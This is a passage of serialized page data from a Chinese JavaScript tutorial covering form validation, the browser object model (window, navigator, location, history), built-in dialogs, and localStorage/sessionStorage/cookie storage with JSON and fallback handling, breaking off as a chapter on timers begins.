fetch）\n})\n",[22,70659,70660,70681,70692,70707,70728,70770,70786,70797,70818,70823],{"__ignoreMap":314},[331,70661,70662,70664,70666,70668,70671,70673,70675,70677,70679],{"class":333,"line":334},[331,70663,70517],{"class":337},[331,70665,1399],{"class":501},[331,70667,966],{"class":337},[331,70669,70670],{"class":365},"'submit'",[331,70672,14706],{"class":337},[331,70674,9481],{"class":2472},[331,70676,3180],{"class":337},[331,70678,1489],{"class":616},[331,70680,1100],{"class":337},[331,70682,70683,70685,70687,70689],{"class":333,"line":341},[331,70684,70242],{"class":337},[331,70686,70245],{"class":501},[331,70688,66089],{"class":337},[331,70690,70691],{"class":1003},"\u002F\u002F 不拦的话：页面刷新，你所有的 JS 状态清零\n",[331,70693,70694,70696,70699,70701,70704],{"class":333,"line":357},[331,70695,1496],{"class":616},[331,70697,70698],{"class":344}," errors",[331,70700,957],{"class":616},[331,70702,70703],{"class":337}," {}       ",[331,70705,70706],{"class":1003},"\u002F\u002F 「字段 → 提示语」的错误对象\n",[331,70708,70709,70711,70713,70715,70718,70720,70723,70725],{"class":333,"line":371},[331,70710,1526],{"class":616},[331,70712,1147],{"class":337},[331,70714,1150],{"class":616},[331,70716,70717],{"class":337},"name.value.",[331,70719,23165],{"class":501},[331,70721,70722],{"class":337},"()) errors.name ",[331,70724,518],{"class":616},[331,70726,70727],{"class":365}," '名字不能为空'\n",[331,70729,70730,70732,70734,70736,70738,70740,70742,70744,70746,70748,70750,70752,70754,70756,70758,70760,70762,70765,70767],{"class":333,"line":384},[331,70731,1526],{"class":616},[331,70733,1147],{"class":337},[331,70735,1150],{"class":616},[331,70737,655],{"class":365},[331,70739,1170],{"class":616},[331,70741,70589],{"class":344},[331,70743,12714],{"class":616},[331,70745,20285],{"class":1173},[331,70747,70589],{"class":344},[331,70749,12714],{"class":616},[331,70751,70600],{"class":1183},[331,70753,70589],{"class":344},[331,70755,70605],{"class":616},[331,70757,655],{"class":365},[331,70759,1192],{"class":337},[331,70761,1195],{"class":501},[331,70763,70764],{"class":337},"(email.value)) errors.email ",[331,70766,518],{"class":616},[331,70768,70769],{"class":365}," '邮箱格式不对'\n",[331,70771,70772,70774,70776,70778,70781,70783],{"class":333,"line":397},[331,70773,1526],{"class":616},[331,70775,1147],{"class":337},[331,70777,1150],{"class":616},[331,70779,70780],{"class":337},"agree.checked) errors.agree ",[331,70782,518],{"class":616},[331,70784,70785],{"class":365}," '需要先同意条款'\n",[331,70787,70788,70791,70794],{"class":333,"line":418},[331,70789,70790],{"class":501},"  renderErrors",[331,70792,70793],{"class":337},"(errors)    ",[331,70795,70796],{"class":1003},"\u002F\u002F 用 Object.entries 逐个写到字段旁边\n",[331,70798,70799,70801,70804,70806,70809,70811,70813,70815],{"class":333,"line":427},[331,70800,1526],{"class":616},[331,70802,70803],{"class":337}," (Object.",[331,70805,67401],{"class":501},[331,70807,70808],{"class":337},"(errors).",[331,70810,10192],{"class":344},[331,70812,3180],{"class":337},[331,70814,10859],{"class":616},[331,70816,70817],{"class":1003},"   \u002F\u002F 有错就停\n",[331,70819,70820],{"class":333,"line":439},[331,70821,70822],{"class":1003},"  \u002F\u002F 校验通过：组装数据，交给后端（第十九章 fetch）\n",[331,70824,70825],{"class":333,"line":450},[331,70826,5399],{"class":337},[11,70828,70829,70830,70833,70834,70836,70837,70839,70840,70843],{},"三个要点：",[22,70831,70832],{},"e.preventDefault()"," 必须是第一步；校验结果用「字段 → 提示语」的对象表达，",[22,70835,27835],{}," 就能派位到界面（第十章学的遍历在这里有了正经工作）；最后一个 ",[22,70838,10859],{}," 把「不通过」挡在门外。想再加体验细节，可以 ",[22,70841,70842],{},"focus()"," 到第一个出错字段。",[53,70845,70846],{"id":70846},"提交按钮与回车是同一个事件",[11,70848,70849,70852,70853,70855,70856,268,70858,70861,70862,70864],{},[22,70850,70851],{},"\u003Cbutton type=\"submit\">"," 和输入框里的回车，触发的都是 ",[22,70854,25564],{},"——两个入口，一份逻辑。反过来要小心：form 里的 ",[22,70857,23625],{},[17,70859,70860],{},"不写 type 时默认就是 submit","，想当普通按钮用必须显式写 ",[22,70863,23636],{},"，这个默认值坑过无数人。",[4748,70866],{"height":6589,"src":70867,"title":70868},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F16-form.html","示例 16：表单——读取、实时校验与提交",[48,70870,70872],{"id":70871},"十七bom-与浏览器存储","十七、BOM 与浏览器存储",[11,70874,70875],{},"到上一章为止，我们干的活都发生在「文档」里。但 JS 的宿主是浏览器，文档之外还有一整套围绕浏览器窗口的 API——常被叫作 BOM（Browser Object Model）。这一章认识四样东西：window、navigator、location、history，再加一个绕不开的实用主题：把数据存在用户的浏览器里。",[53,70877,70879],{"id":70878},"window全局对象也是窗口","window：全局对象，也是窗口",[11,70881,70882],{},"第七章讲过作用域链：变量从里往外找，链的最后一站是全局作用域。在浏览器里，这个「最后一站」有个具体的名字——window。它身兼两职：",[1773,70884,70885,70891],{},[1662,70886,70887,70888,70890],{},"它是全局对象：",[22,70889,18923],{}," 声明的变量、函数声明，都会自动变成 window 的属性",[1662,70892,70893],{},"它是浏览器窗口：视口尺寸、弹窗、定时器（下一章）都挂在它名下",[308,70895,70897],{"className":942,"code":70896,"language":944,"meta":314,"style":314},"var appName = 'demo'\nfunction boot() {}\nwindow.appName       \u002F\u002F 'demo'：var 和函数声明自动成为 window 的属性\nlet secret = 1\nwindow.secret        \u002F\u002F undefined：let\u002Fconst 不上 window\n\nwindow.innerWidth    \u002F\u002F 视口宽（CSS 像素）\nwindow.alert('!')    \u002F\u002F 这些全局函数，其实都是 window 的方法\nalert('!')           \u002F\u002F 平时省略前缀\n",[22,70898,70899,70911,70921,70929,70940,70948,70952,70960,70978],{"__ignoreMap":314},[331,70900,70901,70903,70906,70908],{"class":333,"line":334},[331,70902,18923],{"class":616},[331,70904,70905],{"class":337}," appName ",[331,70907,518],{"class":616},[331,70909,70910],{"class":365}," 'demo'\n",[331,70912,70913,70915,70918],{"class":333,"line":341},[331,70914,3047],{"class":616},[331,70916,70917],{"class":501}," boot",[331,70919,70920],{"class":337},"() {}\n",[331,70922,70923,70926],{"class":333,"line":357},[331,70924,70925],{"class":337},"window.appName       ",[331,70927,70928],{"class":1003},"\u002F\u002F 'demo'：var 和函数声明自动成为 window 的属性\n",[331,70930,70931,70933,70936,70938],{"class":333,"line":371},[331,70932,18926],{"class":616},[331,70934,70935],{"class":337}," secret ",[331,70937,518],{"class":616},[331,70939,63022],{"class":344},[331,70941,70942,70945],{"class":333,"line":384},[331,70943,70944],{"class":337},"window.secret        ",[331,70946,70947],{"class":1003},"\u002F\u002F undefined：let\u002Fconst 不上 window\n",[331,70949,70950],{"class":333,"line":397},[331,70951,998],{"emptyLinePlaceholder":997},[331,70953,70954,70957],{"class":333,"line":418},[331,70955,70956],{"class":337},"window.innerWidth    ",[331,70958,70959],{"class":1003},"\u002F\u002F 视口宽（CSS 像素）\n",[331,70961,70962,70965,70968,70970,70973,70975],{"class":333,"line":427},[331,70963,70964],{"class":337},"window.",[331,70966,70967],{"class":501},"alert",[331,70969,966],{"class":337},[331,70971,70972],{"class":365},"'!'",[331,70974,65877],{"class":337},[331,70976,70977],{"class":1003},"\u002F\u002F 这些全局函数，其实都是 window 的方法\n",[331,70979,70980,70982,70984,70986,70989],{"class":333,"line":439},[331,70981,70967],{"class":501},[331,70983,966],{"class":337},[331,70985,70972],{"class":365},[331,70987,70988],{"class":337},")           ",[331,70990,70991],{"class":1003},"\u002F\u002F 平时省略前缀\n",[53,70993,70995],{"id":70994},"navigator环境信息与别做浏览器侦探","navigator：环境信息与「别做浏览器侦探」",[11,70997,70998,70999,71002,71003,71006,71007,71010],{},"navigator 提供宿主环境的信息：",[22,71000,71001],{},"navigator.language","（界面语言）、",[22,71004,71005],{},"navigator.onLine","（粗略的联网状态）、",[22,71008,71009],{},"navigator.userAgent","（浏览器标识字符串）。",[11,71012,71013],{},"UA 字符串是历史包袱：浏览器们互相伪装，字符串里塞满了别人的名字，解析它来判断「用户用什么浏览器」非常不可靠。正确姿势是特性检测——不看你是谁，看你有什么能力：",[308,71015,71017],{"className":942,"code":71016,"language":944,"meta":314,"style":314},"if ('geolocation' in navigator) {\n  \u002F\u002F 有定位能力才调用，没有就换方案\n}\n\nwindow.matchMedia('(prefers-color-scheme: dark)').matches\n\u002F\u002F 系统偏好深色？本站的明暗主题就是靠它读初始偏好的\n",[22,71018,71019,71033,71038,71042,71046,71061],{"__ignoreMap":314},[331,71020,71021,71023,71025,71028,71030],{"class":333,"line":334},[331,71022,11541],{"class":616},[331,71024,1147],{"class":337},[331,71026,71027],{"class":365},"'geolocation'",[331,71029,63945],{"class":616},[331,71031,71032],{"class":337}," navigator) {\n",[331,71034,71035],{"class":333,"line":341},[331,71036,71037],{"class":1003},"  \u002F\u002F 有定位能力才调用，没有就换方案\n",[331,71039,71040],{"class":333,"line":357},[331,71041,459],{"class":337},[331,71043,71044],{"class":333,"line":371},[331,71045,998],{"emptyLinePlaceholder":997},[331,71047,71048,71050,71053,71055,71058],{"class":333,"line":384},[331,71049,70964],{"class":337},[331,71051,71052],{"class":501},"matchMedia",[331,71054,966],{"class":337},[331,71056,71057],{"class":365},"'(prefers-color-scheme: dark)'",[331,71059,71060],{"class":337},").matches\n",[331,71062,71063],{"class":333,"line":397},[331,71064,71065],{"class":1003},"\u002F\u002F 系统偏好深色？本站的明暗主题就是靠它读初始偏好的\n",[53,71067,71069],{"id":71068},"location地址栏的入口","location：地址栏的入口",[11,71071,71072,71073,161],{},"location 描述当前页面地址，",[17,71074,71075],{},"改它就等于导航",[308,71077,71079],{"className":942,"code":71078,"language":944,"meta":314,"style":314},"location.href       \u002F\u002F 完整地址：读是字符串，写是跳转\nlocation.pathname   \u002F\u002F 路径部分\nlocation.search     \u002F\u002F '?page=2'\nlocation.hash       \u002F\u002F '#who=alan'，井号起\n\nlocation.hash = 'who=alan'   \u002F\u002F 只改 hash：不刷新页面、会进历史记录\nlocation.reload()            \u002F\u002F 重新加载（慎用，页面状态全丢）\n",[22,71080,71081,71089,71097,71105,71113,71117,71130],{"__ignoreMap":314},[331,71082,71083,71086],{"class":333,"line":334},[331,71084,71085],{"class":337},"location.href       ",[331,71087,71088],{"class":1003},"\u002F\u002F 完整地址：读是字符串，写是跳转\n",[331,71090,71091,71094],{"class":333,"line":341},[331,71092,71093],{"class":337},"location.pathname   ",[331,71095,71096],{"class":1003},"\u002F\u002F 路径部分\n",[331,71098,71099,71102],{"class":333,"line":357},[331,71100,71101],{"class":337},"location.search     ",[331,71103,71104],{"class":1003},"\u002F\u002F '?page=2'\n",[331,71106,71107,71110],{"class":333,"line":371},[331,71108,71109],{"class":337},"location.hash       ",[331,71111,71112],{"class":1003},"\u002F\u002F '#who=alan'，井号起\n",[331,71114,71115],{"class":333,"line":384},[331,71116,998],{"emptyLinePlaceholder":997},[331,71118,71119,71122,71124,71127],{"class":333,"line":397},[331,71120,71121],{"class":337},"location.hash ",[331,71123,518],{"class":616},[331,71125,71126],{"class":365}," 'who=alan'",[331,71128,71129],{"class":1003},"   \u002F\u002F 只改 hash：不刷新页面、会进历史记录\n",[331,71131,71132,71135,71138,71140],{"class":333,"line":418},[331,71133,71134],{"class":337},"location.",[331,71136,71137],{"class":501},"reload",[331,71139,64434],{"class":337},[331,71141,71142],{"class":1003},"\u002F\u002F 重新加载（慎用，页面状态全丢）\n",[11,71144,71145,71146,71149],{},"地址栏参数交给 URLSearchParams 解析，比自己 ",[22,71147,71148],{},"split('&')"," 稳：",[308,71151,71153],{"className":942,"code":71152,"language":944,"meta":314,"style":314},"\u002F\u002F 地址为 \u002Fsearch?page=2&tag=js&tag=dom 时\nconst params = new URLSearchParams(location.search)\nparams.get('page')     \u002F\u002F '2'——注意永远是字符串，要算数得自己转\nparams.get('tag')      \u002F\u002F 'js'：同名参数只返回第一个\nparams.getAll('tag')   \u002F\u002F ['js', 'dom']：全都要用 getAll\nparams.has('page')     \u002F\u002F true\n",[22,71154,71155,71160,71177,71193,71209,71225],{"__ignoreMap":314},[331,71156,71157],{"class":333,"line":334},[331,71158,71159],{"class":1003},"\u002F\u002F 地址为 \u002Fsearch?page=2&tag=js&tag=dom 时\n",[331,71161,71162,71164,71167,71169,71171,71174],{"class":333,"line":341},[331,71163,951],{"class":616},[331,71165,71166],{"class":344}," params",[331,71168,957],{"class":616},[331,71170,1214],{"class":616},[331,71172,71173],{"class":501}," URLSearchParams",[331,71175,71176],{"class":337},"(location.search)\n",[331,71178,71179,71182,71184,71186,71188,71190],{"class":333,"line":357},[331,71180,71181],{"class":337},"params.",[331,71183,2608],{"class":501},[331,71185,966],{"class":337},[331,71187,7476],{"class":365},[331,71189,14439],{"class":337},[331,71191,71192],{"class":1003},"\u002F\u002F '2'——注意永远是字符串，要算数得自己转\n",[331,71194,71195,71197,71199,71201,71204,71206],{"class":333,"line":371},[331,71196,71181],{"class":337},[331,71198,2608],{"class":501},[331,71200,966],{"class":337},[331,71202,71203],{"class":365},"'tag'",[331,71205,28281],{"class":337},[331,71207,71208],{"class":1003},"\u002F\u002F 'js'：同名参数只返回第一个\n",[331,71210,71211,71213,71216,71218,71220,71222],{"class":333,"line":384},[331,71212,71181],{"class":337},[331,71214,71215],{"class":501},"getAll",[331,71217,966],{"class":337},[331,71219,71203],{"class":365},[331,71221,62134],{"class":337},[331,71223,71224],{"class":1003},"\u002F\u002F ['js', 'dom']：全都要用 getAll\n",[331,71226,71227,71229,71231,71233,71235,71237],{"class":333,"line":397},[331,71228,71181],{"class":337},[331,71230,64853],{"class":501},[331,71232,966],{"class":337},[331,71234,7476],{"class":365},[331,71236,14439],{"class":337},[331,71238,67759],{"class":1003},[53,71240,71242],{"id":71241},"history前进与后退","history：前进与后退",[11,71244,71245,71248,71249,1901,71251,71253,71254,71257],{},[22,71246,71247],{},"history.length"," 是当前会话的历史条数；",[22,71250,32767],{},[22,71252,32770],{}," 等价于点浏览器的前进后退。更常用的是 pushState \u002F replaceState——",[17,71255,71256],{},"不刷新页面也能改地址","，前端路由（比如本站切换页面）的地基：",[308,71259,71261],{"className":942,"code":71260,"language":944,"meta":314,"style":314},"history.pushState({ page: 1 }, '', '\u002Flist?page=1')    \u002F\u002F 新增一条历史：地址变了，页面没动\nhistory.replaceState({ page: 2 }, '', '\u002Flist?page=2') \u002F\u002F 替换当前这条，不加新记录\n",[22,71262,71263,71290],{"__ignoreMap":314},[331,71264,71265,71268,71271,71274,71276,71278,71280,71282,71285,71287],{"class":333,"line":334},[331,71266,71267],{"class":337},"history.",[331,71269,71270],{"class":501},"pushState",[331,71272,71273],{"class":337},"({ page: ",[331,71275,7993],{"class":344},[331,71277,53904],{"class":337},[331,71279,9164],{"class":365},[331,71281,409],{"class":337},[331,71283,71284],{"class":365},"'\u002Flist?page=1'",[331,71286,65877],{"class":337},[331,71288,71289],{"class":1003},"\u002F\u002F 新增一条历史：地址变了，页面没动\n",[331,71291,71292,71294,71297,71299,71301,71303,71305,71307,71310,71312],{"class":333,"line":341},[331,71293,71267],{"class":337},[331,71295,71296],{"class":501},"replaceState",[331,71298,71273],{"class":337},[331,71300,9292],{"class":344},[331,71302,53904],{"class":337},[331,71304,9164],{"class":365},[331,71306,409],{"class":337},[331,71308,71309],{"class":365},"'\u002Flist?page=2'",[331,71311,3180],{"class":337},[331,71313,71314],{"class":1003},"\u002F\u002F 替换当前这条，不加新记录\n",[11,71316,71317],{},"这对 API 受同源策略严格约束：本章示例跑在沙箱 iframe 里（没有自己的「源」），一调 pushState 就抛 SecurityError——所以示例里只演示 hash 这种「改地址不刷新」的手段。",[53,71319,71321],{"id":71320},"alert-confirm-prompt内置弹窗","alert \u002F confirm \u002F prompt：内置弹窗",[308,71323,71325],{"className":942,"code":71324,"language":944,"meta":314,"style":314},"alert('知道了')                            \u002F\u002F 只有「确定」，无返回值\nconst ok = confirm('确定删除吗？')          \u002F\u002F 确定 true \u002F 取消 false\nconst nick = prompt('你叫什么？', '默认值')  \u002F\u002F 确定 → 字符串（可为空串）；取消 → null\n",[22,71326,71327,71342,71362],{"__ignoreMap":314},[331,71328,71329,71331,71333,71336,71339],{"class":333,"line":334},[331,71330,70967],{"class":501},[331,71332,966],{"class":337},[331,71334,71335],{"class":365},"'知道了'",[331,71337,71338],{"class":337},")                            ",[331,71340,71341],{"class":1003},"\u002F\u002F 只有「确定」，无返回值\n",[331,71343,71344,71346,71348,71350,71352,71354,71357,71359],{"class":333,"line":341},[331,71345,951],{"class":616},[331,71347,70580],{"class":344},[331,71349,957],{"class":616},[331,71351,32438],{"class":501},[331,71353,966],{"class":337},[331,71355,71356],{"class":365},"'确定删除吗？'",[331,71358,9613],{"class":337},[331,71360,71361],{"class":1003},"\u002F\u002F 确定 true \u002F 取消 false\n",[331,71363,71364,71366,71369,71371,71374,71376,71379,71381,71384,71386],{"class":333,"line":357},[331,71365,951],{"class":616},[331,71367,71368],{"class":344}," nick",[331,71370,957],{"class":616},[331,71372,71373],{"class":501}," prompt",[331,71375,966],{"class":337},[331,71377,71378],{"class":365},"'你叫什么？'",[331,71380,409],{"class":337},[331,71382,71383],{"class":365},"'默认值'",[331,71385,66281],{"class":337},[331,71387,71388],{"class":1003},"\u002F\u002F 确定 → 字符串（可为空串）；取消 → null\n",[11,71390,71391,71392,71395],{},"三个都是",[17,71393,71394],{},"阻塞式","：脚本会停住等你点完，而且样式不可定制。正式产品里基本不用（替换成页面内的对话框），但调试和小工具里很顺手。",[53,71397,71399],{"id":71398},"存储三件套localstoragesessionstoragecookie","存储三件套：localStorage、sessionStorage、cookie",[11,71401,71402],{},"浏览器会在本地为用户存数据，三个容器，用途完全不同：",[57,71404,71405,71417],{},[60,71406,71407],{},[63,71408,71409,71411,71413,71415],{},[66,71410],{},[66,71412,2771],{},[66,71414,21151],{},[66,71416,11048],{},[79,71418,71419,71432,71446,71459,71473],{},[63,71420,71421,71423,71426,71429],{},[84,71422,35606],{},[84,71424,71425],{},"永久，除非主动清除",[84,71427,71428],{},"标签页关掉即失",[84,71430,71431],{},"可设过期时间",[63,71433,71434,71437,71440,71443],{},[84,71435,71436],{},"作用范围",[84,71438,71439],{},"同源的所有标签页",[84,71441,71442],{},"只在当前标签页",[84,71444,71445],{},"同源 + 路径规则",[63,71447,71448,71451,71454,71456],{},[84,71449,71450],{},"容量",[84,71452,71453],{},"约 5MB",[84,71455,71453],{},[84,71457,71458],{},"4KB",[63,71460,71461,71464,71466,71468],{},[84,71462,71463],{},"会发给服务器吗",[84,71465,36684],{},[84,71467,36684],{},[84,71469,71470],{},[17,71471,71472],{},"每次请求都带上",[63,71474,71475,71477,71480,71483],{},[84,71476,11668],{},[84,71478,71479],{},"主题、草稿、偏好",[84,71481,71482],{},"一次性的流程状态",[84,71484,71485],{},"会话凭证（给后端看）",[11,71487,71488,71489],{},"口诀：",[17,71490,71491],{},"前端自己用的数据放 localStorage \u002F sessionStorage；要让后端看到的才用 cookie。",[11,71493,71494],{},"两种 storage 的 API 一模一样（第十章末尾见过 Map——这套是它的老前辈）：",[308,71496,71498],{"className":942,"code":71497,"language":944,"meta":314,"style":314},"localStorage.setItem('theme', 'dark')   \u002F\u002F 存\nlocalStorage.getItem('theme')           \u002F\u002F 'dark'；键不存在返回 null（不是 undefined）\nlocalStorage.removeItem('theme')        \u002F\u002F 删一条\nlocalStorage.clear()                    \u002F\u002F 清空——会波及同源下的所有代码，慎用\nlocalStorage.length                     \u002F\u002F 现有几条\n",[22,71499,71500,71521,71536,71552,71565],{"__ignoreMap":314},[331,71501,71502,71505,71507,71509,71511,71513,71516,71518],{"class":333,"line":334},[331,71503,71504],{"class":337},"localStorage.",[331,71506,14043],{"class":501},[331,71508,966],{"class":337},[331,71510,14048],{"class":365},[331,71512,409],{"class":337},[331,71514,71515],{"class":365},"'dark'",[331,71517,62134],{"class":337},[331,71519,71520],{"class":1003},"\u002F\u002F 存\n",[331,71522,71523,71525,71527,71529,71531,71533],{"class":333,"line":341},[331,71524,71504],{"class":337},[331,71526,29373],{"class":501},[331,71528,966],{"class":337},[331,71530,14048],{"class":365},[331,71532,70988],{"class":337},[331,71534,71535],{"class":1003},"\u002F\u002F 'dark'；键不存在返回 null（不是 undefined）\n",[331,71537,71538,71540,71543,71545,71547,71549],{"class":333,"line":357},[331,71539,71504],{"class":337},[331,71541,71542],{"class":501},"removeItem",[331,71544,966],{"class":337},[331,71546,14048],{"class":365},[331,71548,13842],{"class":337},[331,71550,71551],{"class":1003},"\u002F\u002F 删一条\n",[331,71553,71554,71556,71559,71562],{"class":333,"line":371},[331,71555,71504],{"class":337},[331,71557,71558],{"class":501},"clear",[331,71560,71561],{"class":337},"()                    ",[331,71563,71564],{"class":1003},"\u002F\u002F 清空——会波及同源下的所有代码，慎用\n",[331,71566,71567,71569,71571],{"class":333,"line":384},[331,71568,71504],{"class":337},[331,71570,10192],{"class":344},[331,71572,71573],{"class":1003},"                     \u002F\u002F 现有几条\n",[53,71575,71577],{"id":71576},"只认字符串json-来中转","只认字符串：JSON 来中转",[11,71579,71580,71581],{},"两个必记的点：",[17,71582,71583],{},"存进去什么，取出来都是字符串；想存对象\u002F数组要用 JSON 中转。",[308,71585,71587],{"className":942,"code":71586,"language":944,"meta":314,"style":314},"localStorage.setItem('count', 7)\nconst got = localStorage.getItem('count')\ntypeof got                \u002F\u002F 'string'！拿到的是 '7'，要算数得 Number(got)\n\nconst user = { name: '阿蓝', visits: 3 }\nlocalStorage.setItem('app:user', JSON.stringify(user))     \u002F\u002F 序列化进去\nconst saved = JSON.parse(localStorage.getItem('app:user')) \u002F\u002F 反序列化出来\nsaved.name                \u002F\u002F '阿蓝'，类型保住了\n\nJSON.stringify({ fn() {}, u: undefined })  \u002F\u002F '{}'——函数和 undefined 直接消失\nJSON.stringify(new Date())                 \u002F\u002F 日期变字符串；要用 Date 得自己 new\n",[22,71588,71589,71606,71625,71635,71639,71658,71683,71712,71720,71724,71747],{"__ignoreMap":314},[331,71590,71591,71593,71595,71597,71600,71602,71604],{"class":333,"line":334},[331,71592,71504],{"class":337},[331,71594,14043],{"class":501},[331,71596,966],{"class":337},[331,71598,71599],{"class":365},"'count'",[331,71601,409],{"class":337},[331,71603,28762],{"class":344},[331,71605,972],{"class":337},[331,71607,71608,71610,71613,71615,71617,71619,71621,71623],{"class":333,"line":341},[331,71609,951],{"class":616},[331,71611,71612],{"class":344}," got",[331,71614,957],{"class":616},[331,71616,14040],{"class":337},[331,71618,29373],{"class":501},[331,71620,966],{"class":337},[331,71622,71599],{"class":365},[331,71624,972],{"class":337},[331,71626,71627,71629,71632],{"class":333,"line":357},[331,71628,62850],{"class":616},[331,71630,71631],{"class":337}," got                ",[331,71633,71634],{"class":1003},"\u002F\u002F 'string'！拿到的是 '7'，要算数得 Number(got)\n",[331,71636,71637],{"class":333,"line":371},[331,71638,998],{"emptyLinePlaceholder":997},[331,71640,71641,71643,71645,71647,71649,71651,71654,71656],{"class":333,"line":384},[331,71642,951],{"class":616},[331,71644,13900],{"class":344},[331,71646,957],{"class":616},[331,71648,32312],{"class":337},[331,71650,20599],{"class":365},[331,71652,71653],{"class":337},", visits: ",[331,71655,351],{"class":344},[331,71657,9413],{"class":337},[331,71659,71660,71662,71664,71666,71669,71671,71673,71675,71677,71680],{"class":333,"line":397},[331,71661,71504],{"class":337},[331,71663,14043],{"class":501},[331,71665,966],{"class":337},[331,71667,71668],{"class":365},"'app:user'",[331,71670,409],{"class":337},[331,71672,13165],{"class":344},[331,71674,1192],{"class":337},[331,71676,13170],{"class":501},[331,71678,71679],{"class":337},"(user))     ",[331,71681,71682],{"class":1003},"\u002F\u002F 序列化进去\n",[331,71684,71685,71687,71690,71692,71694,71696,71698,71700,71702,71704,71706,71709],{"class":333,"line":418},[331,71686,951],{"class":616},[331,71688,71689],{"class":344}," saved",[331,71691,957],{"class":616},[331,71693,21014],{"class":344},[331,71695,1192],{"class":337},[331,71697,21019],{"class":501},[331,71699,29370],{"class":337},[331,71701,29373],{"class":501},[331,71703,966],{"class":337},[331,71705,71668],{"class":365},[331,71707,71708],{"class":337},")) ",[331,71710,71711],{"class":1003},"\u002F\u002F 反序列化出来\n",[331,71713,71714,71717],{"class":333,"line":427},[331,71715,71716],{"class":337},"saved.name                ",[331,71718,71719],{"class":1003},"\u002F\u002F '阿蓝'，类型保住了\n",[331,71721,71722],{"class":333,"line":439},[331,71723,998],{"emptyLinePlaceholder":997},[331,71725,71726,71728,71730,71732,71734,71737,71740,71742,71744],{"class":333,"line":450},[331,71727,13165],{"class":344},[331,71729,1192],{"class":337},[331,71731,13170],{"class":501},[331,71733,9348],{"class":337},[331,71735,71736],{"class":501},"fn",[331,71738,71739],{"class":337},"() {}, u: ",[331,71741,5872],{"class":344},[331,71743,9582],{"class":337},[331,71745,71746],{"class":1003},"\u002F\u002F '{}'——函数和 undefined 直接消失\n",[331,71748,71749,71751,71753,71755,71757,71759,71762,71765],{"class":333,"line":456},[331,71750,13165],{"class":344},[331,71752,1192],{"class":337},[331,71754,13170],{"class":501},[331,71756,966],{"class":337},[331,71758,35155],{"class":616},[331,71760,71761],{"class":501}," Date",[331,71763,71764],{"class":337},"())                 ",[331,71766,71767],{"class":1003},"\u002F\u002F 日期变字符串；要用 Date 得自己 new\n",[11,71769,71770,71771,272,71774,71777],{},"键名建议带统一前缀（",[22,71772,71773],{},"app:user",[22,71775,71776],{},"app:theme","），避免和同源下其他代码撞名。这套 JSON 往返，也是下一章 fetch 与后端交换数据的预演。",[53,71779,71781],{"id":71780},"存不进去怎么办先探测再兜底","存不进去怎么办：先探测，再兜底",[11,71783,71784,71785,71787],{},"localStorage 并非总能用：隐私模式、浏览器设置、",[17,71786,34767],{}," 都会让它一写就抛异常（SecurityError）；写爆容量（约 5MB）会抛 QuotaExceededError。所以正经代码不直接假设它可用：",[308,71789,71791],{"className":942,"code":71790,"language":944,"meta":314,"style":314},"try {\n  localStorage.setItem('__probe__', '1')\n  localStorage.removeItem('__probe__')\n  \u002F\u002F 没抛异常：可用\n} catch (err) {\n  \u002F\u002F SecurityError 等：不可用，降级到内存 Map——程序换个方式继续跑\n}\n",[22,71792,71793,71799,71817,71829,71834,71842,71847],{"__ignoreMap":314},[331,71794,71795,71797],{"class":333,"line":334},[331,71796,9449],{"class":616},[331,71798,1100],{"class":337},[331,71800,71801,71804,71806,71808,71811,71813,71815],{"class":333,"line":341},[331,71802,71803],{"class":337},"  localStorage.",[331,71805,14043],{"class":501},[331,71807,966],{"class":337},[331,71809,71810],{"class":365},"'__probe__'",[331,71812,409],{"class":337},[331,71814,39313],{"class":365},[331,71816,972],{"class":337},[331,71818,71819,71821,71823,71825,71827],{"class":333,"line":357},[331,71820,71803],{"class":337},[331,71822,71542],{"class":501},[331,71824,966],{"class":337},[331,71826,71810],{"class":365},[331,71828,972],{"class":337},[331,71830,71831],{"class":333,"line":371},[331,71832,71833],{"class":1003},"  \u002F\u002F 没抛异常：可用\n",[331,71835,71836,71838,71840],{"class":333,"line":384},[331,71837,9474],{"class":337},[331,71839,1317],{"class":616},[331,71841,68627],{"class":337},[331,71843,71844],{"class":333,"line":397},[331,71845,71846],{"class":1003},"  \u002F\u002F SecurityError 等：不可用，降级到内存 Map——程序换个方式继续跑\n",[331,71848,71849],{"class":333,"line":418},[331,71850,459],{"class":337},[11,71852,71853,71854,71857],{},"本章示例就跑在沙箱 iframe 里，你会亲眼看到探测失败、代码自动降级到内存的过程——正是第十二章的原则：",[17,71855,71856],{},"预判得到的错误就处理掉，让程序活着","。大文件（超过 5MB）不该硬塞 localStorage，那是 IndexedDB 的地盘。",[11,71859,71860,71861,71864],{},"最后一个安全习惯：",[17,71862,71863],{},"localStorage 里的一切，同源脚本都能读","。所以密码、登录凭证不要放进去——第十四章说过，XSS 注入的脚本第一件事就是翻 localStorage。",[11,71866,71867],{},"下一章换个维度：前面所有代码都是「立刻执行」的，下一章解决「等一等再执行」——定时器、回调、Promise 与 async \u002F await。",[4748,71869],{"height":27777,"src":71870,"title":71871},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F17-bom.html","示例 17：BOM 环境信息与带兜底的存储",[48,71873,71875],{"id":71874},"十八异步等一等再执行","十八、异步：等一等再执行",[11,71877,71878,71879,71882],{},"前十七章的代码都是「一行做完再做下一行」。但浏览器里很多事急不来：网络请求要几百毫秒，定时器要等够时间，用户什么时候点按钮完全没谱。JS 的策略是不等——",[17,71880,71881],{},"先往下走，事情完成时回头叫一个函数","。这就是异步。",[53,71884,71886],{"id":71885},"定时器把函数预约到未来","定时器：把函数「预约」到未来",[11,71888,71889,71891,71892,71895,71896,71898,71899,322],{},[22,71890,22220],{}," 把函数预约到「至少 N 毫秒后」执行，返回一个编号 id；",[22,71893,71894],{},"clearTimeout(id)"," 可以反悔。",[22,71897,3270],{}," 每隔 N 毫秒重复执行，配 ",[22,71900,71901],{},"clearInterval",[308,71903,71905],{"className":942,"code":71904,"language":944,"meta":314,"style":314},"const id = setTimeout(() => { console.log('1 秒后见') }, 1000)\nclearTimeout(id)          \u002F\u002F 反悔：还没到点就取消\n\nconst clockId = setInterval(() => { console.log(new Date()) }, 1000)\nclearInterval(clockId)    \u002F\u002F 停止\n",[22,71906,71907,71938,71949,71953,71986],{"__ignoreMap":314},[331,71908,71909,71911,71913,71915,71917,71919,71921,71924,71926,71928,71931,71934,71936],{"class":333,"line":334},[331,71910,951],{"class":616},[331,71912,827],{"class":344},[331,71914,957],{"class":616},[331,71916,22064],{"class":501},[331,71918,1486],{"class":337},[331,71920,1489],{"class":616},[331,71922,71923],{"class":337}," { console.",[331,71925,3533],{"class":501},[331,71927,966],{"class":337},[331,71929,71930],{"class":365},"'1 